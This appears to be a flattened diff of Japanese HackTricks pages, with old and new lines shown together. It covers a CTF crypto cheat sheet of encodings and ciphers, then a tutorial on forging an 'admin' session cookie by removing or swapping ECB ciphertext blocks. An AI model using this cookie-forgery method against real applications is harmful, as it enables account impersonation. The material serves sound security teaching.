* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### アトバシ暗号 #### アトバ暗号
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### ベースエンコーディングオートソルバー ### ベースエンコーディングオートソルバー
これらのベースをすべてチェック: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) これらのベースをすべてチェックする:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* **Ascii85** - **Ascii85**
* `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
* **Base26** \[_A-Z_] - **Base26** \[_A-Z_]
* `BQEKGAHRJKHQMVZGKUXNT` - `BQEKGAHRJKHQMVZGKUXNT`
* **Base32** \[_A-Z2-7=_] - **Base32** \[_A-Z2-7=_]
* `NBXWYYLDMFZGCY3PNRQQ====` - `NBXWYYLDMFZGCY3PNRQQ====`
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
* `pbzsaamdcf3gna5xptoo====` - `pbzsaamdcf3gna5xptoo====`
* **Base32 Geohash** \[_0-9b-hjkmnp-z_] - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
* `e1rqssc3d5t62svgejhh====` - `e1rqssc3d5t62svgejhh====`
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
* `D1QPRRB3C5S62RVFDHGG====` - `D1QPRRB3C5S62RVFDHGG====`
* **Base32 Extended Hexadecimal** \[_0-9A-V_] - **Base32 Extended Hexadecimal** \[_0-9A-V_]
* `D1NMOOB3C5P62ORFDHGG====` - `D1NMOOB3C5P62ORFDHGG====`
* **Base45** \[_0-9A-Z $%\*+-./:_] - **Base45** \[_0-9A-Z $%\*+-./:_]
* `59DPVDGPCVKEUPCPVD` - `59DPVDGPCVKEUPCPVD`
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
* `2yJiRg5BF9gmsU6AC` - `2yJiRg5BF9gmsU6AC`
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
* `2YiHqF5bf9FLSt6ac` - `2YiHqF5bf9FLSt6ac`
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
* `pyJ5RgnBE9gm17awU` - `pyJ5RgnBE9gm17awU`
* **Base62** \[_0-9A-Za-z_] - **Base62** \[_0-9A-Za-z_]
* `g2AextRZpBKRBzQ9` - `g2AextRZpBKRBzQ9`
* **Base64** \[_A-Za-z0-9+/=_] - **Base64** \[_A-Za-z0-9+/=_]
* `aG9sYWNhcmFjb2xh` - `aG9sYWNhcmFjb2xh`
* **Base67** \[_A-Za-z0-9-_.!\~\_] - **Base67** \[_A-Za-z0-9-_.!\~\_]
* `NI9JKX0cSUdqhr!p` - `NI9JKX0cSUdqhr!p`
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `<~BQ%]q@psCd@rH0l~>` - `<~BQ%]q@psCd@rH0l~>`
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
* `Xm4y`V\_|Y(V{dF>\` - `Xm4y`V\_|Y(V{dF>\`
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] - **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
* `Xm4y|V{~Y+V}dF?` - `Xm4y|V{~Y+V}dF?`
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
* `frDg[*jNN!7&BQM` - `frDg[*jNN!7&BQM`
* **Base100** \[] - **Base100** \[]
* `👟👦👣👘👚👘👩👘👚👦👣👘` - `👟👦👣👘👚👘👩👘👚👦👣👘`
* **Base122** \[] - **Base122** \[]
* `4F ˂r0Xmvc` - `4F ˂r0Xmvc`
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
* `MIc3KiXa+Ihz+lrXMIc3KbCC` - `MIc3KiXa+Ihz+lrXMIc3KbCC`
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
* `DmPsv8J7qrlKEoY7` - `DmPsv8J7qrlKEoY7`
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
* `kLD8iwKsigSalLJ5` - `kLD8iwKsigSalLJ5`
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
* `ayRiIo1gpO+uUc7g` - `ayRiIo1gpO+uUc7g`
* **ESAB46** \[] - **ESAB46** \[]
* `3sHcL2NR8WrT7mhR` - `3sHcL2NR8WrT7mhR`
* **MEGAN45** \[] - **MEGAN45** \[]
* `kLD8igSXm2KZlwrX` - `kLD8igSXm2KZlwrX`
* **TIGO3FX** \[] - **TIGO3FX** \[]
* `7AP9mIzdmltYmIP9mWXX` - `7AP9mIzdmltYmIP9mWXX`
* **TRIPO5** \[] - **TRIPO5** \[]
* `UE9vSbnBW6psVzxB` - `UE9vSbnBW6psVzxB`
* **FERON74** \[] - **FERON74** \[]
* `PbGkNudxCzaKBm0x` - `PbGkNudxCzaKBm0x`
* **GILA7** \[] - **GILA7** \[]
* `D+nkv8C1qIKMErY1` - `D+nkv8C1qIKMErY1`
* **Citrix CTX1** \[] - **Citrix CTX1** \[]
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) [http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
@ -132,11 +133,15 @@ HackTricksをサポートする他の方法:
``` ```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
``` ```
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Not Found: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### モールス ### モールス
``` ```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
``` ```
### UUエンコーダー * [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Not Found: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -147,7 +152,7 @@ end
``` ```
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXエンコーダ ### XXエンコーダ
``` ```
begin 644 webutils_pl begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
@ -156,7 +161,7 @@ end
``` ```
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder ### Yエンコーダ
``` ```
=ybegin line=128 size=28 name=webutils_pl =ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk ryvkryvkryvkryvkryvkryvkryvk
@ -164,7 +169,7 @@ ryvkryvkryvkryvkryvkryvkryvk
``` ```
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) * [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex ### ビンヘックス
``` ```
(This file must be converted with BinHex 4.0) (This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
@ -172,56 +177,58 @@ ryvkryvkryvkryvkryvkryvkryvk
``` ```
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
### ASCII85 ### ASCII85
``` ```
<~85DoF85DoF85DoF85DoF85DoF85DoF~> <~85DoF85DoF85DoF85DoF85DoF85DoF~>
``` ```
### ドボラックキーボード * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak キーボード
``` ```
drnajapajrna drnajapajrna
``` ```
```
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) * [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
### A1Z26 ### A1Z26
文字をそれらの数値に変換 文字を数値に変換
```
``` ```
8 15 12 1 3 1 18 1 3 15 12 1 8 15 12 1 3 1 18 1 3 15 12 1
``` ```
### Affine Cipher Encodeアフィン暗号エンコード ### アフィン暗号エンコード
Letter to num `(ax+b)%26`_a_ と _b_ は鍵であり、_x_ は文字です)と結果を文字に戻す 文字を数値に変換して `(ax+b)%26` で計算する_a_ と _b_ はキーで、_x_ は文字)、そして結果を再び文字に戻す
``` ```
krodfdudfrod krodfdudfrod
``` ```
### SMSコード ### SMSコード
**マルチタップ** は、[携帯電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードで定義された繰り返される数字によって[文字を置き換えます](https://www.dcode.fr/word-letter-change)このモードはSMSを書くときに使用されます)。\ **Multitap**は、モバイル[電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードで定義された繰り返し数字によって文字を置き換えますこのモードはSMSを書く際に使用されます)。\
えば: 2=A, 22=B, 222=C, 3=D...\ 例: 2=A, 22=B, 222=C, 3=D...\
このコードは\*\*複数の数字が繰り返されている\*\*のを見ることで識別できます。 このコードは、**複数の数字が繰り返される**のが特徴です。
このコードは以下でデコードできます: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) このコードをデコードすることができます: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### ベーコン暗号 ### ベーコンコード
各文字を4つのAまたはBまたは1と0に置き換えます 各文字を4つのAまたはBまたは1と0に置き換えます
``` ```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
``` ```
### ルーン文字 ### ルーン
![](../.gitbook/assets/runes.jpg) ![](../.gitbook/assets/runes.jpg)
## 圧縮 ## 圧縮
**Raw Deflate** と **Raw Inflate** は、ヘッダーなしでデータを圧縮・解凍できますどちらもCyberchefで見つけることができます **Raw Deflate** と **Raw Inflate**どちらもCyberchefで見つけることができますは、ヘッダーなしでデータを圧縮および解凍することができます
## 簡単な暗号 ## 簡単な暗号
### XOR - 自動解決ツール ### XOR - 自動解
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) * [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
@ -231,12 +238,16 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
``` ```
fgaargaamnlunesuneoa fgaargaamnlunesuneoa
``` ```
### ヴィジュネル ### Vigenere
キーワードが必要です キーワードが必要です
``` ```
wodsyoidrods wodsyoidrods
``` ```
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## 強力な暗号 ## 強力な暗号
### Fernet ### Fernet
@ -251,21 +262,22 @@ Key:
``` ```
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### サミール秘密分散 ### Samir Secret Sharing
秘密はX部分に分割され、それを回復するにはY部分が必要です_Y <= X_ 秘密はX部分に分割され、それを回復するにはY部分が必要です_Y <=X_
``` ```
8019f8fa5879aa3e07858d08308dc1a8b45 8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89 80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd 803bc8cf294b3f83d88e86d9818792e80cd
``` ```
```markdown [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL ブルートフォース
### OpenSSL brute-force
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
* [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) * [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
## ツール ## Tools
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
@ -273,15 +285,14 @@ Key:
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加する、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを **共有する** * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>
```

View file

@ -1,46 +1,46 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。 - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
# ECB # ECB
ECBElectronic Code Book- 対称暗号化方式で、**平文の各ブロック**を**暗号文のブロック**に置き換えます。これは**最も単純な**暗号化方式です。主な考え方は、平文を**Nビットのブロック**に**分割**すること(ブロックのサイズや暗号化アルゴリズムに依存します)し、その後、唯一の鍵を使用して各平文ブロックを暗号化(復号)します。 (ECB) Electronic Code Book - **ブロックごとにクリアテキストを暗号化**する対称暗号化スキーム。これは**最も単純な**暗号化スキームです。主なアイデアは、クリアテキストを**Nビットのブロック**(入力データのブロックサイズ、暗号化アルゴリズムに依存)に**分割**し、その後、唯一の鍵を使用して各クリアテキストブロックを暗号化(復号化)することです。
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
ECBを使用することには複数のセキュリティ上の問題があります: ECBを使用すると、複数のセキュリティ上の影響があります:
* **暗号化されたメッセージからブロックを削除できる** - 暗号化されたメッセージから**ブロックを削除**できる
* **暗号化されたメッセージのブロックを移動できる** - 暗号化されたメッセージから**ブロックを移動**できる
# 脆弱性の検出 # 脆弱性の検出
あなたがアプリケーションに何度もログインし、**常に同じクッキーを取得する**と想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\ アプリケーションに複数回ログインし、**常に同じクッキーを取得**すると想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\
その後、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ2つの新しいユーザーを生成します。\ 次に、**同じ長いパスワード**を持つ新しいユーザーを2人生成し、**ほぼ**同じ**ユーザー名**を持つようにします。\
**8Bのブロック**で、**両方のユーザーの情報**が同じである部分が**等しい**ことがわかります。それから、これは**ECBが使用されている**可能性があると想像します。 **両方のユーザーの情報**が同じ**8バイトのブロック**であることがわかります。その後、これが**ECBが使用されている**ためかもしれないと考えます。
以下の例のように。これらの**2つのデコードされたクッキー**が、ブロック**`\x23U\xE45K\xCB\x21\xC8`**を何度も含んでいることに注目してください。 次の例のように、これらの**2つのデコードされたクッキー**には、何度もブロック**`\x23U\xE45K\xCB\x21\xC8`**が含まれていることに注意してください。
``` ```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
``` ```
これは、**クッキーのユーザー名とパスワードに「a」の文字が何度も含まれていたためです**(例として)。**異なるブロック**は、**少なくとも1つの異なる文字**(おそらく区切り文字「|」やユーザー名に必要な違い)を含んでいたブロックです これは、**クッキーのユーザー名とパスワードには、複数回文字 "a" が含まれていた**ためです。**異なる**ブロックは、**少なくとも1つの異なる文字**(おそらく区切り記号 "|" またはユーザー名の必要な違い)を含んでいました
今、攻撃者はフォーマットが `<username><delimiter><password>``<password><delimiter><username>` かを見つけるだけです。これを行うために、彼は**似たような長いユーザー名とパスワードをいくつか生成し、フォーマットと区切り文字の長さを見つけるまで続けます:** 攻撃者は、今や単に、フォーマットが `<ユーザー名><区切り記号><パスワード>``<パスワード><区切り記号><ユーザー名>` かを発見する必要があります。そのために、彼は単に**類似して長いユーザー名とパスワードを持つ複数のユーザー名を生成**し、フォーマットと区切り記号の長さを見つけるまで続けます:
| ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | クッキーの長さ(デコード後): | | ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | デコード後のクッキーの長さ: |
| ---------------- | ---------------- | ------------------------- | --------------------------------- | | ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 | | 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 | | 3 | 3 | 6 | 8 |
@ -52,43 +52,28 @@ ECBを使用することには複数のセキュリティ上の問題があり
## ブロック全体の削除 ## ブロック全体の削除
クッキーのフォーマット`<username>|<password>`)を知っているため、`admin`としてなりすますには、`aaaaaaaaadmin`という新しいユーザーを作成し、クッキーを取得してデコードします: クッキーのフォーマットを知っている場合(`<ユーザー名>|<パスワード>`)、ユーザー名 `admin` をなりすますために、`aaaaaaaaadmin` という新しいユーザーを作成し、クッキーを取得してデコードします:
``` ```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
以下のパターン `\x23U\xE45K\xCB\x21\xC8` は、以前に `a` のみを含むユーザーネームで作成されました。\ その前に作成されたユーザー名にのみ `a` が含まれているパターン `\x23U\xE45K\xCB\x21\xC8` を見ることができます。\
その後、最初の8Bブロックを削除すると、ユーザーネーム `admin` のための有効なクッキーを得ることができます: 次に、最初の8Bブロックを削除すると、ユーザー名 `admin` 用の有効なクッキーが得られます:
``` ```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
## ブロックの移動 ## ブロックの移動
多くのデータベースでは、`WHERE username='admin';` と検索するのと `WHERE username='admin ';` _(余分なスペースに注意)_ と検索するのは同じです 多くのデータベースでは、`WHERE username='admin';`を検索するのと`WHERE username='admin ';`を検索するのは同じです(余分なスペースに注意)
したがって、ユーザー `admin` になりすます別の方法は以下の通りです: したがって、ユーザー`admin`をなりすます別の方法は次のとおりです:
* ユーザー名を生成します:`len(<username>) + len(<delimiter) % len(block)`。ブロックサイズが `8B` の場合区切り文字 `|` を使って `username ` というユーザー名を生成できますこれにより、`<username><delimiter>` のチャンクが 8B の 2 ブロックを生成します。 - `len(<username>) + len(<delimiter) % len(block)`となるようなユーザー名を生成します。ブロックサイズが`8B`の場合、`username `というユーザー名を生成できます。デリミターが`|`の場合、チャンク`<username><delimiter>`は8Bのブロックを2つ生成します。
* 次に、偽装したいユーザー名とスペースを含む、正確なブロック数を埋めるパスワードを生成します。例えば`admin ` - 次に、なりすましたいユーザー名とスペースを含むブロック数を正確に埋めるパスワードを生成します。例`admin `
このユーザーのクッキーは 3 ブロックで構成されます:最初の 2 ブロックはユーザー名 + 区切り文字で、3 番目のブロックはパスワード(ユーザー名を偽装している)です:`username |admin ` このユーザーのクッキーは3つのブロックで構成されます最初の2つはユーザー名+デリミターのブロックであり、3番目はユーザー名を偽装しているパスワードのブロックです:`username |admin `
** そして、最初のブロックを最後のブロックと置き換えるだけで、ユーザー `admin` になりすますことができます:`admin |username`** ** その後、最初のブロックを最後のブロックで置き換えるだけで、ユーザー`admin`をなりすませることができます:`admin |username`**
# 参考文献 # 参考文献
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
<details>
